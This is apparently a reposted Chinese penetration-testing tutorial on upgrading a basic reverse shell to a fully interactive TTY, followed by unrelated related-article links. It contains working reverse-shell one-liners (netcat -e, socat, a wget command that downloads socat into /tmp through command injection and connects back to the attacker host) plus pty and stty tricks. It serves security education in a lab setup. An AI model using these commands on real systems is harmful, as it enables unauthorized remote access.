原标题:如何将简单的Shell转换成为完全交互式的TTY

作为一名渗透测试人员,最令人激动的莫过于netcat为我们反弹回了一个shell连接,以及通过id命令查看到一个令人满意的用户权限。但凡事总有意外,由于我们获取的shell并不是一个具有完整交互的shell,因此可能会在使用过程中被挂起,甚至还可能会因为我们的操作失误,例如不小心摁下了 “Ctrl-C”键,这将直接终止我们的整个shell进程让徒劳而归。

除了没有正确处理SIGINT(信号)之外,这些“哑”shell还有其它诸多缺点:

一些命令如su和ssh,需要一个正确的终端才能运行

通常不显示STDERR

无法正常使用vim等文本编辑器

没有完成标签

没有向上箭头使用历史

没有jobcontrol等

长话短说虽然这些sehll也很棒,但我更倾向于在完全互动的TTY中进行操作。下面我将为大家分享一些用来“升级”这些shell的技巧和方法。在正式开始之前我向大家推荐一个叫Pentest Monkey的博客,以及Phineas Fisher的技术视频和writeup:

http://pentestmonkey.net/blog/post-exploitation-without-a-tty

https://www.youtube.com/watch?v=oI_ZhFCS3AQ#t=25m53s

http://pastebin.com/raw/0SNSvyjJ

为了便于演示,以下所有的屏幕截图和命令都将在一台易受攻击的Web服务器(“VICTIM”)和用于捕获shell的Kali VM(“KALI”)上完成。

VICTIM IP: 10.0.3.7

KALI IP: 10.0.3.4 生成反向shell命令

我们首先使用netcat来获取最常见的反向shell: nc -e /bin/sh 10.0.3.44444

在kali虚拟机上我们输入以下命令: nc -lvp 4444

问题不在于每个服务器是否都安装了netcat,并且也不是每个版本的netcat都具备-e选项。Pentest Monkey有篇关于反向shell的cheatsheet,为我们提供了一些不同的方法。但我更热衷于使用Metasploit的msfvenom一行生成命令。

Metasploit在“cmd/unix”下,有几个可用于生成单行绑定或反向shell的payload:

以上显示的所有payload都可以和msfvenom一起使用,并且我们可以根据自身需求指定LHOST,LPORT或RPORT。例如,这里是一个不需要-e标志的netcat命令:

如果没有安装netcat,我们还可以生成一个Perl的反向shell:

这些都可以通过使用netcat,并侦听指定的端口(4444)来捕获。 方法1:Python pty模块

对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下: python -c 'import pty; pty.spawn("/bin/bash")'

在创建完成后,我们此时就可以运行su命令了。(并且界面提示也变得更加友好)

即便如此,但问题依旧没有完全的解决。例如SIGINT(Ctrl-C)仍然会关闭终止Netcat,完成标签或历史记录也依旧没有,但这个方法在实际运用中也有一定的效果。 方法2:使用socat

socat是一个netcat上的替代工具,可以说是nc的增强版。我们可以使用Socat通过TCP连接传递完整的TTY。

如果你成功在目标机器安装了socat,那么我们就可以通过以下命令来获取到一个完全交互式的TTY反向shell:

在kali虚拟机我们运行以下侦听命令: socat file:`tty`,raw,echo=0 tcp-listen:4444

在目标机器我们运行: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

如果目标系统没有安装socat你可以通过以下Github地址,下载相关的二进制静态文件进行安装:

https://github.com/andrew-d/static-binaries

通过命令注入漏洞,我们可以将socat二进制文件下载到一个可写的目录,并通过chmod命令修改文件的执行权限,然后在一行中执行反向shell: wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socatexec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

此时在kali,你将会获取到一个完全交互式的TTY会话。它支持完成标签,SIGINT/SIGSTP,vim,向上箭头使用历史等。

方法3:魔术般的Netcat升级

在Phineas Fisher的技术视频中该方法被展示出来,在我看来感觉就像是魔术一般。基本操作就是在kali终端内设置一些stty选项,最终将“哑”netcat shell升级到了一个完全交互的TTY。

首先我们使用与方法1相同的技术来生成PTY。一旦bash在PTY中运行,我们按Ctrl-Z键将shell调至后台运行

现在我们来检查当前终端和STTY信息,所以我们可以强制连接到shell并匹配:

所需的信息是TERM类型(“xterm-256color”)和当前TTY的大小(38行;116列)

接着我们将当前STTY设置为raw(请确保shell仍在后台运行),并使用以下命令回显输入字符: stty raw -echo

使用raw stty,输入/输出将看起来有点奇怪,你可能看不到下一个命令,但是当你键入时,它们则会被执行。

下一个前台shell将重新打开反向shell,但格式化将关闭。最后,重新初始化终端。

注意:我没有再次键入nc命令(如上图所示)。我实际上进入到了fg(前台),但这并没有被打印出来。nc命令现在是处于前台的工作状态。reset命令进入到netcat shell中后,shell会正常显示。最后一步是设置shell,终端类型和stty大小来匹配我们当前的Kali窗口(上面收集的信息)。 $ export SHELL=bash $ export TERM=xterm256-color $ stty rows 38 columns 116

最终的结果是我们将获取到一个在netcat之上的完全交互式的TTY,它具有我们所期望的所有功能(tab-complete,history,job control等):

甚至我们还可以在netcat shell上运行Tmux!

Cheatsheet

Cheatsheet命令:

使用Python作为一个伪终端 python -c 'import pty; pty.spawn("/bin/bash")'

使用socat #Listener:socat file:`tty`,raw,echo=0 tcp-listen:4444#Victim:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

使用stty选项

# In reverse shell$ python -c 'import pty; pty.spawn("/bin/bash")'Ctrl-Z# In Kali$ stty raw -echo $ fg# In reverse shell$ reset $ export SHELL=bash $ export TERM=xterm-256color $ stty rows columns 返回搜狐,查看更多

责任编辑:

linux sh gt tty,如何将简单的Shell转换成为完全交互式的TTY相关推荐

  1. linux fg 参数,Linux的bg和fg命令简单介绍

    我们都知道,在 Windows 上面,我们要么让一个程序作为服务在后台一直运行,要么停止这个服务.而不能让程序在前台后台之间切换.而 Linux 提供了 fg 和 bg 命令,让我们轻松调度正在运行的 ...

  2. 管道,Linux命令,Windows命令,cmd命令,tmux,vim,shell,bash,sh文件,bat文件

    catalog WIndows与Unix基本命令 Bat文件 规范 注释 Windows-CMD 介绍 管道`|`, 重定向`> <` 相对位置 fc 创建文件 删除文件/文件夹 创建文件 ...

  3. linux系统下Qt应用程序重启,嵌入式Linux重启QT应用程序的简单办法(基于QT4.8 qws)...

    嵌入式Linux重启QT应用程序的简单办法(基于QT4.8 qws) 应用软件一般都有这样的业务需求: 当有新版本的APP,则程序就需要执行更新,更新完毕后(所谓的更新大多就是以覆盖的方式),不需要关 ...

  4. Linux~Sh脚本一点自己的总结

    从.netCore开源项目来看,eShopOnContainers来说,它的部署是跨平台的,可以部署在linux,docker上,在linux上运行它也可以写一些集成的小脚本,这是微信工程师为我们提供 ...

  5. Linux系统Vi/Vim编辑器的简单介绍、安装/卸载、常用命令

    Linux系统Vi/Vim编辑器的简单介绍.安装/卸载.常用命令 1.介绍 vi(Visual Interface)编辑器是Linux和Unix上最基本的文本编辑器,工作在字符模式下.由于不需要图形界 ...

  6. linux下Qt编写串口调试助手,如何在linux下用QT写一个简单的串口调试助手

    如何在linux下用QT写一个简单的串口调试助手 QT5串口类 在QT5以前,编写串口一般使用的是qextserialport类,但在QT5之后有了QT自带的串口类SerialPort(串口基础类)和 ...

  7. Linux C实现简单的shell

    Linux C下实现简单的Shell 宗旨:技术的学习是有限的,分享的精神是无限的. [需求描述] 用各种C函数实现一个简单的交互式Shell: 1.给出提示符,让用户输入一行命令,识别程序名和参数并 ...

  8. linux 别名,Linux中的别名就这么简单,如何使用和创建永久别名?

    原标题:Linux中的别名就这么简单,如何使用和创建永久别名? 输入文本和记命令是Linux命令行爱好者的缺点之一.如果你需要输入并记住同样长的命令,这可能会降低终端的工作效率. 如果您可以用自己的短 ...

  9. linux sh 编程,Linux shell 编程入门

    shell 编程概念 (1) shell是一种命令行解释器,外壳有很多种类 (2) shell 看成是Linux内核和用户沟通的桥梁,用户默认不能直接操作内核 (3)可以通过shell外壳去操作,用户 ...

最新文章

  1. 2020考研 管理类联考数学 【题型分析及解题思路】
  2. 开机自启动脚本_Linux配置开机自启动执行脚本的两种方法
  3. 异常数据4种剔除方法_数据分析系列 22/32 | 9种常用的数据分析方法
  4. 互联网1分钟 | 0911
  5. fastjson使用-- @JSONField使用(转)
  6. nyoj 610 定长覆盖 贪心问题系列
  7. 《微观经济学》第一章经济学十大原理
  8. 一图搞懂梯度、散度、旋度、Jacobian、Hessian、Laplacian之间的关系
  9. matlab 画图 方程,matlab 画图与解方程
  10. Spring Boot 导出EXCEL模板以及导入EXCEL数据(阿里Easy Excel实战)
  11. Spring Data ElasticSearch analyzer 定义 @Filed失效 @Mapping失效 创建索引 无效 解决办法 ElasticsearchRestTemplate
  12. 唐僧团队要裁员,你会裁谁?
  13. 【es】es界面化管理工具cerebro的安装和使用
  14. 1024程序员节200G资料大放送
  15. 人工智能知识图谱研究
  16. 评价类模型——层次分析法
  17. MybatisPlus核心功能——实现CRUD增删改查操作 (包含条件构造器)
  18. 一生中必读的30个故事
  19. 电台app开发,发掘声音经济
  20. pqc的中文全称_OQC 、PQC、LQC、OQA的英文分别是什么?主要做什么?

热门文章

  1. 极简栈溢出程序逆向分析
  2. 3DMAX如何打开mat文件
  3. Urban Airship Android Client - Google GCM Push
  4. CentOS7安装nVidia驱动以及CUDA,一遍成功
  5. 2022年Redis最新面试题
  6. Java程序员必须掌握的线程知识-Callable和Future
  7. python 各种开源库
  8. 微软、滴滴、360等前端大厂面试题
  9. 设定lib包下所有的jar到classpath
  10. WordPress BuddyPress Extended Friendship Request插件跨站脚本漏洞